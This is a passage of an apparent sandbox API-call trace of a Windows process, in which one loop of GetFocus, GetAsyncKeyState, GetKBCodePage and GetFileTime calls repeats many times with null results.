lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.925] GetKBCodePage () returned 0x1b5 [0024.925] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.925] GetFocus () returned 0x0 [0024.925] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.926] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.926] GetFocus () returned 0x0 [0024.926] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.926] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.926] GetFocus () returned 0x0 [0024.926] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.926] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.926] GetFocus () returned 0x0 [0024.926] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.926] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.926] GetFocus () returned 0x0 [0024.926] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.926] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.926] GetFocus () returned 0x0 [0024.926] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.926] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.926] GetFocus () returned 0x0 [0024.926] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.926] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.926] GetFocus () returned 0x0 [0024.926] GetAsyncKeyState (vKey=58) returned 0 [0024.926] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.927] GetFocus () returned 0x0 [0024.927] GetAsyncKeyState (vKey=58) returned 0 [0024.927] GetKBCodePage () returned 0x1b5 [0024.927] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.928] GetAsyncKeyState (vKey=58) returned 0 [0024.928] GetKBCodePage () returned 0x1b5 [0024.928] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.928] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.929] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.929] GetFocus () returned 0x0 [0024.929] GetAsyncKeyState (vKey=58) returned 0 [0024.929] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.930] GetFocus () returned 0x0 [0024.930] GetAsyncKeyState (vKey=58) returned 0 [0024.930] GetKBCodePage () returned 0x1b5 [0024.930] 